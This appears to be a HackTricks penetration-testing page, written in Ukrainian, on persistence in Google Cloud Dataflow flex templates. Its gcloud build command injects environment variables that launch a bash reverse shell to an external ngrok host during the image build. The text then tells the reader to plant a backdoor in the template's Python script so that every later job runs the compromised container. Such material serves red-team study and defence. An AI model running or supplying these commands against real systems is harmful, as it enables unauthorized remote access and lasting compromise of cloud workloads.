# GCP - Dataflow Persistence {{#include ../../../banners/hacktricks-training.md}} ## Dataflow ### Невидима стійкість у вбудованому контейнері Слідуючи [**посібнику з документації**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), ви можете створити новий (наприклад, python) гнучкий шаблон: ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started # Create repository where dockerfiles and code is going to be stored export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY # Create artifact storage export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT \ --repository-format=docker \ --location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev # Create template export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \ --image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \ --sdk-language "PYTHON" \ --flex-template-base-image "PYTHON3" \ --metadata-file "metadata.json" \ --py-path "." \ --env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \ --env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \ --env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \ --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \ --region=us-central1 ``` **Поки він будується, ви отримаєте зворотний шелл** (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які налаштовують Docker файл для виконання довільних дій). У цей момент, всередині зворотного шеллу, можливо **перейти до каталогу `/template` і змінити код основного python скрипта, який буде виконуватись (у нашому прикладі це `getting_started.py`)**. Встановіть тут свою бекдор, щоб щоразу, коли завдання виконується, воно виконувалося. Тоді, наступного разу, коли завдання буде виконано, буде запущено скомпрометований контейнер: ```bash # Run template gcloud dataflow $NAME_TEMPLATE run testing \ --template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \ --parameters=output="gs://$REPOSITORY/out" \ --region=us-central1 ``` {{#include ../../../banners/hacktricks-training.md}}